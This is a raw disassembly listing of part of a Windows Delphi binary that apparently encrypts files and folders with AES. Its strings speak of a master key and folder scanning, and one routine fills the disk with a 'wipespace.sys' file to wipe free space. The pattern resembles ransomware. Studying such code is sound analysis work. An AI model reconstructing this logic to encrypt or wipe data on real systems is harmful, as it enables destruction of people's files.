    0044ea9c
    0044ea9cloc_44ea9c:
    0044ea9clea rcx, [rbp+88]
    0044eaa0lea rdx, [rbp+80]
    0044eaa4lea r8, [rbp+72]
    0044eaa8call fn_442930
    0044eaad
    0044eaadloc_44eaad:
    0044eaadmov rax, [rip+0x1550c]
    0044eab4cmp [rax+308], 0
    0044eabbje 0x44ead2
    0044eabdlea rcx, [rip+404]
    0044eac4mov dl, 1
    0044eac6call fn_439060
    0044eacbxor ecx, ecx
    0044eacdcall fn_4392a0
    0044ead2
    0044ead2loc_44ead2:
    0044ead2mov rcx, [rbp+112]
    0044ead6lea rdx, [rbp+88]
    0044eadalea r8, [rbp+72]
    0044eadelea r9, [rbp+64]
    0044eae2lea rax, [rbp+56]
    0044eae6mov [rsp+32], rax
    0044eaeblea rax, [rbp+48]
    0044eaefmov [rsp+40], rax
    0044eaf4call fn_448ab0
    0044eaf9mov rcx, [rbp+48]
    0044eafdcall TObject.Free
    0044eb02lea rcx, [rbp+64]
    0044eb06mov rdx, [rip-0x1fced]
    0044eb0dcall fn_410600
    0044eb12lea rcx, [rbp+56]
    0044eb16mov rdx, [rip-0x1fcfd]
    0044eb1dcall fn_410600
    0044eb22mov rcx, [rbp+88]
    0044eb26mov rax, rcx
    0044eb29test rax, rax
    0044eb2cje 0x44eb32
    0044eb2emov rax, [rax-8]
    0044eb32
    0044eb32loc_44eb32:
    0044eb32test rax, rax
    0044eb35je 0x44eb52
    0044eb37mov rax, rcx
    0044eb3atest rax, rax
    0044eb3dje 0x44eb43
    0044eb3fmov rax, [rax-8]
    0044eb43
    0044eb43loc_44eb43:
    0044eb43mov rcx, [rbp+88]
    0044eb47mov rdx, rax
    0044eb4axor r8, r8
    0044eb4dcall fn_4069b0
    0044eb52
    0044eb52loc_44eb52:
    0044eb52nop
    0044eb53lea rcx, [rbp+56]
    0044eb57mov rdx, [rip-0x1fd3e]
    0044eb5emov r8l, 5
    0044eb64call fn_40ec40
    0044eb69lea rcx, [rbp+112]
    0044eb6dcall fn_40bd90
    0044eb72lea rsp, [rbp+96]
    0044eb76pop rbp
    0044eb77ret
    0044e970
    0044eb78
    0044eb78 48 8d 04 05 00 00 00 00 H.......
    0044eb80
    0044eb80fn_44eb80:
    0044eb80push rbp
    0044eb81push rbx
    0044eb82sub rsp, 40
    0044eb86mov rbp, rsp
    0044eb89mov rbx, rdx
    0044eb8clea rcx, [rbx+56]
    0044eb90mov rdx, [rip-0x1fd77]
    0044eb97mov r8l, 5
    0044eb9dcall fn_40ec40
    0044eba2lea rcx, [rbx+112]
    0044eba6call fn_40bd90
    0044ebablea rsp, [rbp+40]
    0044ebafpop rbx
    0044ebb0pop rbp
    0044ebb1ret
    0044eb80
    0044ebb2
    0044ebb2 00 00 b0 04 02 00 ff ff ff ff 14 00 00 00 ..............
    0044ebc0 47 00 65 00 6e 00 65 00 72 00 61 00 74 00 65 00 G.e.n.e.r.a.t.e.
    0044ebd0 20 00 6d 00 61 00 73 00 74 00 65 00 72 00 20 00 .m.a.s.t.e.r. .
    0044ebe0 6b 00 65 00 79 00 2e 00 00 00 00 00 b0 04 02 00 k.e.y...........
    0044ebf0 ff ff ff ff 16 00 00 00 45 00 6e 00 63 00 72 00 ........E.n.c.r.
    0044ec00 79 00 70 00 74 00 20 00 69 00 6e 00 74 00 65 00 y.p.t. .i.n.t.e.
    0044ec10 72 00 6e 00 61 00 6c 00 20 00 64 00 61 00 74 00 r.n.a.l. .d.a.t.
    0044ec20 61 00 2e 00 00 00 00 00 b0 04 02 00 ff ff ff ff a...............
    0044ec30 0a 00 00 00 49 00 6e 00 69 00 74 00 20 00 74 00 ....I.n.i.t. .t.
    0044ec40 61 00 69 00 6c 00 2e 00 00 00 00 00 b0 04 02 00 a.i.l...........
    0044ec50 ff ff ff ff 19 00 00 00 52 00 65 00 61 00 64 00 ........R.e.a.d.
    0044ec60 79 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 y. .t.o. .f.i.l.
    0044ec70 65 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 e. .e.n.c.r.y.p.
    0044ec80 74 00 69 00 6f 00 6e 00 2e 00 00 00 cc cc cc cc t.i.o.n.........
    0044ec90
    0044ec90fn_44ec90:
    0044ec90push rbp
    0044ec91add rsp, -128
    0044ec95mov rbp, rsp
    0044ec98mov [rbp+120], 0
    0044eca0mov [rbp+112], 0
    0044eca8mov [rbp+104], 0
    0044ecb0mov [rbp+96], 0
    0044ecb8mov [rbp+88], 0
    0044ecc0mov [rbp+144], rcx
    0044ecc7lea rcx, [rbp+144]
    0044eccecall fn_40bf00
    0044ecd3nop
    0044ecd4mov rcx, [rip-0x1a19b]
    0044ecdbmov dl, 1
    0044ecddcall TAESData.Create
    0044ece2mov [rbp+80], rax
    0044ece6lea rcx, [rbp+96]
    0044eceamov rdx, [rip-0x1fed1]
    0044ecf1call fn_410600
    0044ecf6lea rcx, [rbp+96]
    0044ecfamov rdx, [rip-0x1fee1]
    0044ed01mov r8l, 1
    0044ed07mov r9l, 0x100000
    0044ed0dcall fn_410430
    0044ed12lea rcx, [rbp+88]
    0044ed16mov rdx, [rip-0x1fefd]
    0044ed1dcall fn_410600
    0044ed22lea rcx, [rbp+88]
    0044ed26mov rdx, [rip-0x1ff0d]
    0044ed2dmov r8l, 1
    0044ed33mov r9l, 0x100000
    0044ed39call fn_410430
    0044ed3emov rax, [rip+0x1527b]
    0044ed45cmp [rax+307], 0
    0044ed4cjne 0x44edd3
    0044ed52mov rax, [rip+0x15267]
    0044ed59cmp [rax+308], 0
    0044ed60je 0x44ed70
    0044ed62lea rcx, [rip+411]
    0044ed69mov dl, 1
    0044ed6bcall fn_439060
    0044ed70
    0044ed70loc_44ed70:
    0044ed70lea rcx, [rbp+120]
    0044ed74call fn_442e50
    0044ed79mov rax, [rip+0x15240]
    0044ed80cmp [rax+308], 0
    0044ed87je 0x44ed97
    0044ed89lea rcx, [rip+428]
    0044ed90mov dl, 1
    0044ed92call fn_439060
    0044ed97
    0044ed97loc_44ed97:
    0044ed97lea rcx, [rbp+120]
    0044ed9blea rdx, [rbp+112]
    0044ed9fcall fn_442cb0
    0044eda4mov rax, [rip+0x15215]
    0044edabcmp [rax+308], 0
    0044edb2je 0x44edc2
    0044edb4lea rcx, [rip+445]
    0044edbbmov dl, 1
    0044edbdcall fn_439060
    0044edc2
    0044edc2loc_44edc2:
    0044edc2lea rcx, [rbp+120]
    0044edc6lea rdx, [rbp+112]
    0044edcalea r8, [rbp+104]
    0044edcecall fn_442930
    0044edd3
    0044edd3loc_44edd3:
    0044edd3mov rax, [rip+0x151e6]
    0044eddacmp [rax+308], 0
    0044ede1je 0x44edf8
    0044ede3lea rcx, [rip+434]
    0044edeamov dl, 1
    0044edeccall fn_439060
    0044edf1xor ecx, ecx
    0044edf3call fn_4392a0
    0044edf8
    0044edf8loc_44edf8:
    0044edf8mov rcx, [rbp+144]
    0044edfflea rdx, [rbp+120]
    0044ee03lea r8, [rbp+104]
    0044ee07lea r9, [rbp+96]
    0044ee0blea rax, [rbp+88]
    0044ee0fmov [rsp+32], rax
    0044ee14lea rax, [rbp+80]
    0044ee18mov [rsp+40], rax
    0044ee1dmov [rsp+48], 0
    0044ee22mov [rsp+56], 0
    0044ee27mov [rsp+64], 1
    0044ee2ccall fn_449120
    0044ee31mov rcx, [rbp+80]
    0044ee35call TObject.Free
    0044ee3alea rcx, [rbp+96]
    0044ee3emov rdx, [rip-0x20025]
    0044ee45call fn_410600
    0044ee4alea rcx, [rbp+88]
    0044ee4emov rdx, [rip-0x20035]
    0044ee55call fn_410600
    0044ee5amov rcx, [rbp+120]
    0044ee5emov rax, rcx
    0044ee61test rax, rax
    0044ee64je 0x44ee6a
    0044ee66mov rax, [rax-8]
    0044ee6a
    0044ee6aloc_44ee6a:
    0044ee6atest rax, rax
    0044ee6dje 0x44ee8a
    0044ee6fmov rax, rcx
    0044ee72test rax, rax
    0044ee75je 0x44ee7b
    0044ee77mov rax, [rax-8]
    0044ee7b
    0044ee7bloc_44ee7b:
    0044ee7bmov rcx, [rbp+120]
    0044ee7fmov rdx, rax
    0044ee82xor r8, r8
    0044ee85call fn_4069b0
    0044ee8a
    0044ee8aloc_44ee8a:
    0044ee8anop
    0044ee8blea rcx, [rbp+88]
    0044ee8fmov rdx, [rip-0x20076]
    0044ee96mov r8l, 5
    0044ee9ccall fn_40ec40
    0044eea1lea rcx, [rbp+144]
    0044eea8call fn_40bd90
    0044eeadlea rsp, [rbp+128]
    0044eeb4pop rbp
    0044eeb5ret
    0044ec90
    0044eeb6
    0044eeb6 48 90 48 8d 04 05 00 00 00 00 H.H.......
    0044eec0
    0044eec0fn_44eec0:
    0044eec0push rbp
    0044eec1push rbx
    0044eec2sub rsp, 40
    0044eec6mov rbp, rsp
    0044eec9mov rbx, rdx
    0044eecclea rcx, [rbx+88]
    0044eed0mov rdx, [rip-0x200b7]
    0044eed7mov r8l, 5
    0044eeddcall fn_40ec40
    0044eee2lea rcx, [rbx+144]
    0044eee9call fn_40bd90
    0044eeeelea rsp, [rbp+40]
    0044eef2pop rbx
    0044eef3pop rbp
    0044eef4ret
    0044eec0
    0044eef5
    0044eef5 00 00 00 b0 04 02 00 ff ff ff ff ...........
    0044ef00 14 00 00 00 47 00 65 00 6e 00 65 00 72 00 61 00 ....G.e.n.e.r.a.
    0044ef10 74 00 65 00 20 00 6d 00 61 00 73 00 74 00 65 00 t.e. .m.a.s.t.e.
    0044ef20 72 00 20 00 6b 00 65 00 79 00 2e 00 00 00 00 00 r. .k.e.y.......
    0044ef30 b0 04 02 00 ff ff ff ff 16 00 00 00 45 00 6e 00 ............E.n.
    0044ef40 63 00 72 00 79 00 70 00 74 00 20 00 69 00 6e 00 c.r.y.p.t. .i.n.
    0044ef50 74 00 65 00 72 00 6e 00 61 00 6c 00 20 00 64 00 t.e.r.n.a.l. .d.
    0044ef60 61 00 74 00 61 00 2e 00 00 00 00 00 b0 04 02 00 a.t.a...........
    0044ef70 ff ff ff ff 0a 00 00 00 49 00 6e 00 69 00 74 00 ........I.n.i.t.
    0044ef80 20 00 74 00 61 00 69 00 6c 00 2e 00 00 00 00 00 .t.a.i.l.......
    0044ef90 b0 04 02 00 ff ff ff ff 2b 00 00 00 52 00 65 00 ........+...R.e.
    0044efa0 61 00 64 00 79 00 20 00 74 00 6f 00 20 00 73 00 a.d.y. .t.o. .s.
    0044efb0 63 00 61 00 6e 00 20 00 66 00 6f 00 6c 00 64 00 c.a.n. .f.o.l.d.
    0044efc0 65 00 72 00 73 00 20 00 61 00 6e 00 64 00 20 00 e.r.s. .a.n.d. .
    0044efd0 66 00 69 00 6c 00 65 00 73 00 20 00 65 00 6e 00 f.i.l.e.s. .e.n.
    0044efe0 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 c.r.y.p.t.i.o.n.
    0044eff0 2e 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc ................
    0044f000
    0044f000fn_44f000:
    0044f000push rbp
    0044f001sub rsp, 96
    0044f005mov rbp, rsp
    0044f008mov [rbp+88], 0
    0044f010mov [rbp+80], 0
    0044f018mov [rbp+72], 0
    0044f020nop
    0044f021mov rcx, [rip-0x1a4e8]
    0044f028mov dl, 1
    0044f02acall TAESData.Create
    0044f02fmov [rbp+64], rax
    0044f033lea rcx, [rbp+80]
    0044f037call fn_442e50
    0044f03clea rcx, [rbp+80]
    0044f040lea rdx, [rbp+72]
    0044f044call fn_442cb0
    0044f049lea rcx, [rbp+80]
    0044f04dlea rdx, [rbp+72]
    0044f051lea r8, [rbp+88]
    0044f055call fn_441e90
    0044f05amov rax, [rip+0x14e47]
    0044f061mov rcx, [rax]
    0044f064lea rdx, [rbp+80]
    0044f068lea r8, [rbp+88]
    0044f06clea r9, [rbp+64]
    0044f070mov [rsp+32], 0
    0044f075mov [rsp+40], 2
    0044f07amov [rsp+48], 1
    0044f07fcall fn_44afd0
    0044f084mov rcx, [rbp+64]
    0044f088call TObject.Free
    0044f08dmov rcx, [rbp+80]
    0044f091mov edx, 32
    0044f096xor r8, r8
    0044f099call fn_4069b0
    0044f09emov rax, [rip+0x1514b]
    0044f0a5mov rcx, [rax]
    0044f0a8call TSimpleCriticalSection.Enter
    0044f0admov rax, [rip+0x1513c]
    0044f0b4lea rcx, [rax+8]
    0044f0b8call fn_40bd90
    0044f0bdmov rax, [rip+0x1512c]
    0044f0c4mov rcx, [rax]
    0044f0c7call TSimpleCriticalSection.Leave
    0044f0ccmov rax, [rip+0x14eed]
    0044f0d3mov [rax+317], 1
    0044f0danop
    0044f0dblea rcx, [rbp+72]
    0044f0dfmov rdx, [rip-0x202c6]
    0044f0e6mov r8l, 3
    0044f0eccall fn_40ec40
    0044f0f1lea rsp, [rbp+96]
    0044f0f5pop rbp
    0044f0f6ret
    0044f000
    0044f0f7
    0044f0f7 90 48 8d 04 05 00 00 00 00 .H.......
    0044f100
    0044f100fn_44f100:
    0044f100push rbp
    0044f101sub rsp, 32
    0044f105mov rbp, rsp
    0044f108lea rcx, [rdx+72]
    0044f10cmov rdx, [rip-0x202f3]
    0044f113mov r8l, 3
    0044f119call fn_40ec40
    0044f11elea rsp, [rbp+32]
    0044f122pop rbp
    0044f123ret
    0044f100
    0044f124
    0044f124 // align 0x10
    0044f130
    0044f130Unit56.finalization:
    0044f130add [rip+0x21665], 1
    0044f137cmp [rip+0x2165e], 0
    0044f13eret
    0044f130
    0044f13f
    0044f13f // align 0x10
    0044f140
    0044f140Unit56.initialization:
    0044f140sub [rip+0x21655], 1
    0044f147cmp [rip+0x2164e], -1
    0044f14eret
    0044f140
    0044f14f
    0044f14f // align 0x10
    0044f150
    0044f150fn_44f150:
    0044f150push rbp
    0044f151push rbx
    0044f152sub rsp, 72
    0044f156mov rbp, rsp
    0044f159mov [rbp+48], rcx
    0044f15dmov [rbp+56], 0
    0044f165mov [rbp+104], rdx
    0044f169lea rcx, [rbp+104]
    0044f16dcall fn_40bf00
    0044f172nop
    0044f173mov rcx, [rbp+48]
    0044f177call fn_40bd90
    0044f17cxor eax, eax
    0044f17emov rcx, [rbp+104]
    0044f182test rcx, rcx
    0044f185je 0x44f18d
    0044f187mov eax, [rcx-4]
    0044f18ashr eax, 1
    0044f18d
    0044f18dloc_44f18d:
    0044f18dtest eax, eax
    0044f18fje 0x44f2b8
    0044f195mov rax, [rbp+104]
    0044f199movzx rax, [rax]
    0044f19dcmp ax, 92
    0044f1a1jne 0x44f28f
    0044f1a7xor eax, eax
    0044f1a9test rcx, rcx
    0044f1acje 0x44f1b4
    0044f1aemov eax, [rcx-4]
    0044f1b1shr eax, 1
    0044f1b4
    0044f1b4loc_44f1b4:
    0044f1b4lea rcx, [rbp+104]
    0044f1b8mov rdx, [rbp+104]
    0044f1bcmov r8l, 3
    0044f1c2mov r9l, eax
    0044f1c5call fn_40d650
    0044f1camov rbx, [rbp+104]
    0044f1celea rcx, [rip+311]
    0044f1d5mov rdx, rbx
    0044f1d8mov r8l, 1
    0044f1decall fn_40de90
    0044f1e3mov rcx, [rbp+48]
    0044f1e7mov rdx, [rbp+104]
    0044f1ebmov r8l, 1
    0044f1f1mov r9l, eax
    0044f1f4call fn_40d650
    0044f1f9lea rcx, [rip+268]
    0044f200mov rdx, rbx
    0044f203mov r8l, 1
    0044f209call fn_40de90
    0044f20emov ecx, eax
    0044f210add ecx, 1
    0044f213xor eax, eax
    0044f215test rbx, rbx
    0044f218je 0x44f220
    0044f21amov eax, [rbx-4]
    0044f21dshr eax, 1
    0044f220
    0044f220loc_44f220:
    0044f220lea rdx, [rbp+104]
    0044f224mov r8, [rbp+104]
    0044f228mov r9l, ecx
    0044f22bmov rcx, rdx
    0044f22emov rdx, r8
    0044f231mov r8l, r9l
    0044f234mov r9l, eax
    0044f237call fn_40d650
    0044f23clea rcx, [rip+201]
    0044f243mov rdx, [rbp+104]
    0044f247mov r8l, 1
    0044f24dcall fn_40de90
    0044f252lea rcx, [rbp+104]
    0044f256mov rdx, [rbp+104]
    0044f25amov r8l, 1
    0044f260mov r9l, eax
    0044f263call fn_40d650
    0044f268mov rcx, [rbp+48]
    0044f26cmov edx, 3
    0044f271lea r8, [rip+156]
    0044f278mov rax, [rbp+48]
    0044f27cmov r9, [rax]
    0044f27fmov rax, [rbp+104]
    0044f283mov [rsp+32], rax
    0044f288call fn_40d530
    0044f28djmp 0x44f2b7
    0044f28f
    0044f28floc_44f28f:
    0044f28flea rcx, [rbp+56]
    0044f293mov edx, eax
    0044f295call fn_40d730
    0044f29alea rcx, [rbp+56]
    0044f29elea rdx, [rip+131]
    0044f2a5call fn_40d9b0
    0044f2aamov rcx, [rbp+48]
    0044f2aemov rdx, [rbp+56]
    0044f2b2call fn_40d850
    0044f2b7
    0044f2b7loc_44f2b7:
    0044f2b7nop
    0044f2b8
    0044f2b8loc_44f2b8:
    0044f2b8lea rcx, [rbp+56]
    0044f2bccall fn_40bcf0
    0044f2c1lea rcx, [rbp+104]
    0044f2c5call fn_40bd90
    0044f2camov rax, [rbp+48]
    0044f2celea rsp, [rbp+72]
    0044f2d2pop rbx
    0044f2d3pop rbp
    0044f2d4ret
    0044f150
    0044f2d5
    0044f2d5 48 8b c0 48 8d 04 05 00 00 00 00 H..H.......
    0044f2e0
    0044f2e0fn_44f2e0:
    0044f2e0push rbp
    0044f2e1push rbx
    0044f2e2sub rsp, 40
    0044f2e6mov rbp, rsp
    0044f2e9mov rbx, rdx
    0044f2eclea rcx, [rbx+56]
    0044f2f0call fn_40bcf0
    0044f2f5lea rcx, [rbx+104]
    0044f2f9call fn_40bd90
    0044f2felea rsp, [rbp+40]
    0044f302pop rbx
    0044f303pop rbp
    0044f304ret
    0044f2e0
    0044f305
    0044f305 00 00 00 02 00 00 00 5c 00 00 00 .......\...
    0044f310 04 00 00 00 5c 00 5c 00 00 00 00 00 b0 04 02 00 ....\.\.........
    0044f320 ff ff ff ff 01 00 00 00 3a 00 00 00 cc cc cc cc ........:.......
    0044f330
    0044f330fn_44f330:
    0044f330push rbp
    0044f331push rbx
    0044f332sub rsp, 88
    0044f336mov rbp, rsp
    0044f339mov [rbp+40], 0
    0044f341mov [rbp+112], rcx
    0044f345lea rcx, [rbp+112]
    0044f349call fn_40bf00
    0044f34enop
    0044f34for rax, -1
    0044f353mov [rbp+32], rax
    0044f357mov bl, 10
    0044f359
    0044f359loc_44f359:
    0044f359lea rcx, [rbp+40]
    0044f35dmov rdx, [rbp+112]
    0044f361call fn_44f150
    0044f366mov rcx, [rbp+40]
    0044f36acall fn_40d180
    0044f36fmov rcx, rax
    0044f372lea rdx, [rbp+72]
    0044f376lea r8, [rbp+56]
    0044f37alea r9, [rbp+64]
    0044f37ecall GetDiskFreeSpaceExW
    0044f383test eax, eax
    0044f385je 0x44f391
    0044f387mov rax, [rbp+72]
    0044f38bmov [rbp+32], rax
    0044f38fjmp 0x44f3a4
    0044f391
    0044f391loc_44f391:
    0044f391mov ecx, 100
    0044f396call Sleep
    0044f39bsub bl, 1
    0044f39etest bl, bl
    0044f3a0jne 0x44f359
    0044f3a2nop
    0044f3a3nop
    0044f3a4
    0044f3a4loc_44f3a4:
    0044f3a4lea rcx, [rbp+40]
    0044f3a8call fn_40bd90
    0044f3adlea rcx, [rbp+112]
    0044f3b1call fn_40bd90
    0044f3b6mov rax, [rbp+32]
    0044f3balea rsp, [rbp+88]
    0044f3bepop rbx
    0044f3bfpop rbp
    0044f3c0ret
    0044f330
    0044f3c1
    0044f3c1 48 8d 80 00 00 00 00 48 8d 04 05 00 00 00 00 H......H.......
    0044f3d0
    0044f3d0fn_44f3d0:
    0044f3d0push rbp
    0044f3d1push rbx
    0044f3d2sub rsp, 40
    0044f3d6mov rbp, rsp
    0044f3d9mov rbx, rdx
    0044f3dclea rcx, [rbx+40]
    0044f3e0call fn_40bd90
    0044f3e5lea rcx, [rbx+112]
    0044f3e9call fn_40bd90
    0044f3eelea rsp, [rbp+40]
    0044f3f2pop rbx
    0044f3f3pop rbp
    0044f3f4ret
    0044f3d0
    0044f3f5
    0044f3f5 // align 0x10
    0044f400
    0044f400fn_44f400:
    0044f400push rbp
    0044f401sub rsp, 112
    0044f405mov rbp, rsp
    0044f408mov [rbp+64], rcx
    0044f40cmov [rbp+88], 0
    0044f414mov [rbp+80], 0
    0044f41cmov [rbp+104], 0
    0044f424mov [rbp+96], 0
    0044f42cmov [rbp+136], rdx
    0044f433lea rcx, [rbp+136]
    0044f43acall fn_40bf00
    0044f43fnop
    0044f440mov al, 1
    0044f442mov [rbp+79], al
    0044f445lea rcx, [rbp+96]
    0044f449mov rdx, [rbp+136]
    0044f450lea r8, [rip+301]
    0044f457call fn_40d230
    0044f45clea rcx, [rbp+104]
    0044f460mov rdx, [rbp+96]
    0044f464call fn_42f780
    0044f469mov rcx, [rbp+104]
    0044f46dcall fn_40d180
    0044f472mov rcx, rax
    0044f475mov edx, 0xffffffffc0000000
    0044f47axor r8, r8
    0044f47dxor r9, r9
    0044f480mov [rsp+32], 3
    0044f488mov [rsp+40], 128
    0044f490mov [rsp+48], 0
    0044f499call CreateFileW
    0044f49emov rcx, [rbp+64]
    0044f4a2mov [rcx], rax
    0044f4a5mov rax, [rbp+64]
    0044f4a9cmp [rax], -1
    0044f4adjne 0x44f51f
    0044f4aflea rcx, [rbp+80]
    0044f4b3mov rdx, [rbp+136]
    0044f4balea r8, [rip+195]
    0044f4c1call fn_40d230
    0044f4c6lea rcx, [rbp+88]
    0044f4camov rdx, [rbp+80]
    0044f4cecall fn_42f780
    0044f4d3mov rcx, [rbp+88]
    0044f4d7call fn_40d180
    0044f4dcmov rcx, rax
    0044f4dfmov edx, 0xffffffffc0000000
    0044f4e4xor r8, r8
    0044f4e7xor r9, r9
    0044f4eamov [rsp+32], 1
    0044f4f2mov [rsp+40], 128
    0044f4famov [rsp+48], 0
    0044f503call CreateFileW
    0044f508mov rcx, [rbp+64]
    0044f50cmov [rcx], rax
    0044f50fmov rax, [rbp+64]
    0044f513cmp [rax], -1
    0044f517jne 0x44f51f
    0044f519xor eax, eax
    0044f51bmov [rbp+79], al
    0044f51enop
    0044f51f
    0044f51floc_44f51f:
    0044f51flea rcx, [rbp+80]
    0044f523mov edx, 4
    0044f528call fn_40be70
    0044f52dlea rcx, [rbp+136]
    0044f534call fn_40bd90
    0044f539movzx rax, [rbp+79]
    0044f53elea rsp, [rbp+112]
    0044f542pop rbp
    0044f543ret
    0044f400
    0044f544
    0044f544 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......
    0044f550
    0044f550fn_44f550:
    0044f550push rbp
    0044f551push rbx
    0044f552sub rsp, 40
    0044f556mov rbp, rsp
    0044f559mov rbx, rdx
    0044f55clea rcx, [rbx+80]
    0044f560mov edx, 4
    0044f565call fn_40be70
    0044f56alea rcx, [rbx+136]
    0044f571call fn_40bd90
    0044f576lea rsp, [rbp+40]
    0044f57apop rbx
    0044f57bpop rbp
    0044f57cret
    0044f550
    0044f57d
    0044f57d 00 00 00 ...
    0044f580 1a 00 00 00 77 00 69 00 70 00 65 00 73 00 70 00 ....w.i.p.e.s.p.
    0044f590 61 00 63 00 65 00 2e 00 73 00 79 00 73 00 00 00 a.c.e...s.y.s...
    0044f5a0
    0044f5a0fn_44f5a0:
    0044f5a0push rbp
    0044f5a1push rdi
    0044f5a2push rsi
    0044f5a3push rbx
    0044f5a4sub rsp, 136
    0044f5abmov rbp, rsp
    0044f5aemovdqa [rbp+112], x6
    0044f5b3mov [rbp+56], 0
    0044f5bbmov [rbp+48], 0
    0044f5c3mov [rbp+64], 0
    0044f5cbmov [rbp+72], 0
    0044f5d3mov [rbp+96], 0
    0044f5dbmov [rbp+176], rcx
    0044f5e2lea rcx, [rbp+176]
    0044f5e9call fn_40bf00
    0044f5eenop
    0044f5efmov rax, [rip+0x149ca]
    0044f5f6cmp [rax+308], 0
    0044f5fdje 0x44f61a
    0044f5fflea rcx, [rbp+72]
    0044f603mov rdx, [rbp+176]
    0044f60acall fn_40d820
    0044f60fmov rcx, [rbp+72]
    0044f613xor edx, edx
    0044f615call fn_439060
    0044f61a
    0044f61aloc_44f61a:
    0044f61amov rcx, [rbp+176]
    0044f621call fn_44f330
    0044f626mov rbx, rax
    0044f629test rbx, rbx
    0044f62cjg 0x44f65e
    0044f62emov rax, [rip+0x1498b]
    0044f635cmp [rax+308], 0
    0044f63cje 0x44f804
    0044f642lea rcx, [rip+623]
    0044f649xor edx, edx
    0044f64bcall fn_439060
    0044f650xor ecx, ecx
    0044f652xor edx, edx
    0044f654call fn_439060
    0044f659jmp 0x44f804
    0044f65e
    0044f65eloc_44f65e:
    0044f65elea rcx, [rbp+104]
    0044f662mov rdx, [rbp+176]
    0044f669call fn_44f400
    0044f66etest al, al
    0044f670jne 0x44f6a2
    0044f672mov rax, [rip+0x14947]
    0044f679cmp [rax+308], 0
    0044f680je 0x44f804
    0044f686lea rcx, [rip+711]
    0044f68dxor edx, edx
    0044f68fcall fn_439060
    0044f694xor ecx, ecx
    0044f696xor edx, edx
    0044f698call fn_439060
    0044f69djmp 0x44f804
    0044f6a2
    0044f6a2loc_44f6a2:
    0044f6a2lea rcx, [rbp+96]
    0044f6a6mov rdx, [rip-0x2088d]
    0044f6adcall fn_410600
    0044f6b2lea rcx, [rbp+96]
    0044f6b6mov rdx, [rip-0x2089d]
    0044f6bdmov r8l, 1
    0044f6c3mov r9l, 0x100000
    0044f6c9call fn_410430
    0044f6cexor esi, esi
    0044f6d0mov dil, 1
    0044f6d3lea rcx, [rip+790]
    0044f6daxor edx, edx
    0044f6dccall fn_438e40
    0044f6e1jmp 0x44f79a
    0044f6e6
    0044f6e6loc_44f6e6:
    0044f6e6mov rcx, [rbp+104]
    0044f6eamov rdx, rsi
    0044f6edxor r8, r8
    0044f6f0xor r9, r9
    0044f6f3call SetFilePointerEx
    0044f6f8mov rcx, [rbp+104]
    0044f6fcmov rdx, [rbp+96]
    0044f700mov r8l, 0x100000
    0044f706lea r9, [rbp+92]
    0044f70amov [rsp+32], 0
    0044f713call WriteFile
    0044f718add rsi, 0x100000
    0044f71fmov rax, [rip+0x1489a]
    0044f726cmp [rax+308], 0
    0044f72dje 0x44f79a
    0044f72fcmp rsi, rbx
    0044f732jle 0x44f737
    0044f734mov rsi, rbx
    0044f737
    0044f737loc_44f737:
    0044f737cvtsi2sd x6, rsi
    0044f73ccvtsi2sd x0, rbx
    0044f741divsd x6, x0
    0044f745mulsd x6, [rip+259]
    0044f74djmp 0x44f78c
    0044f74f
    0044f74floc_44f74f:
    0044f74fmovzx rax, dil
    0044f753mov ecx, 10
    0044f758xor edx, edx
    0044f75adiv ecx
    0044f75ctest edx, edx
    0044f75ejne 0x44f77a
    0044f760lea rcx, [rbp+64]
    0044f764movzx rdx, dil
    0044f768call fn_4225b0
    0044f76dmov rcx, [rbp+64]
    0044f771xor edx, edx
    0044f773call fn_438e40
    0044f778jmp 0x44f788
    0044f77a
    0044f77aloc_44f77a:
    0044f77alea rcx, [rip+639]
    0044f781xor edx, edx
    0044f783call fn_438e40
    0044f788
    0044f788loc_44f788:
    0044f788add dil, 1
    0044f78c
    0044f78cloc_44f78c:
    0044f78cmovzx rax, dil
    0044f790cvtsi2sd x0, eax
    0044f794comisd x6, x0
    0044f798jae 0x44f74f
    0044f79a
    0044f79aloc_44f79a:
    0044f79acmp rsi, rbx
    0044f79djl 0x44f6e6
    0044f7a3mov rcx, [rbp+104]
    0044f7a7call CloseHandle
    0044f7aclea rcx, [rbp+48]
    0044f7b0mov rdx, [rbp+176]
    0044f7b7lea r8, [rip+586]
    0044f7becall fn_40d230
    0044f7c3lea rcx, [rbp+56]
    0044f7c7mov rdx, [rbp+48]
    0044f7cbcall fn_42f780
    0044f7d0mov rcx, [rbp+56]
    0044f7d4call fn_40d180
    0044f7d9mov rcx, rax
    0044f7dccall DeleteFileW
    0044f7e1mov rax, [rip+0x147d8]
    0044f7e8cmp [rax+308], 0
    0044f7efje 0x44f803
    0044f7f1xor ecx, ecx
    0044f7f3xor edx, edx
    0044f7f5call fn_439060
    0044f7faxor ecx, ecx
    0044f7fcxor edx, edx
    0044f7fecall fn_439060
    0044f803
    0044f803loc_44f803:
    0044f803nop
    0044f804
    0044f804loc_44f804:
    0044f804lea rcx, [rbp+48]
    0044f808mov edx, 2
    0044f80dcall fn_40be70
    0044f812lea rcx, [rbp+64]
    0044f816mov edx, 2
    0044f81bcall fn_40bdd0
    0044f820lea rcx, [rbp+96]
    0044f824mov rdx, [rip-0x20a0b]
    0044f82bcall fn_410600
    0044f830lea rcx, [rbp+176]
    0044f837call fn_40bd90
    0044f83cmovdqa x6, [rbp+112]
    0044f841lea rsp, [rbp+136]
    0044f848pop rbx
    0044f849pop rsi
    0044f84apop rdi
    0044f84bpop rbp
    0044f84cret
    0044f5a0
    0044f84d
    0044f84d 48 8b c0 H..
    0044f850 00 00 00 00 00 00 59 40 48 8d 04 05 00 00 00 00 ......Y@H.......
    0044f860
    0044f860fn_44f860:
    0044f860push rbp
    0044f861push rbx
    0044f862sub rsp, 40
    0044f866mov rbp, rsp
    0044f869mov rbx, rdx
    0044f86clea rcx, [rbx+48]
    0044f870mov edx, 2
    0044f875call fn_40be70
    0044f87alea rcx, [rbx+64]
    0044f87emov edx, 2
    0044f883call fn_40bdd0
    0044f888lea rcx, [rbx+96]
    0044f88cmov rdx, [rip-0x20a73]
    0044f893call fn_410600
    0044f898lea rcx, [rbx+176]
    0044f89fcall fn_40bd90
    0044f8a4lea rsp, [rbp+40]
    0044f8a8pop rbx
    0044f8a9pop rbp
    0044f8aaret
    0044f860
    0044f8ab
    0044f8ab 00 b0 04 02 00 .....
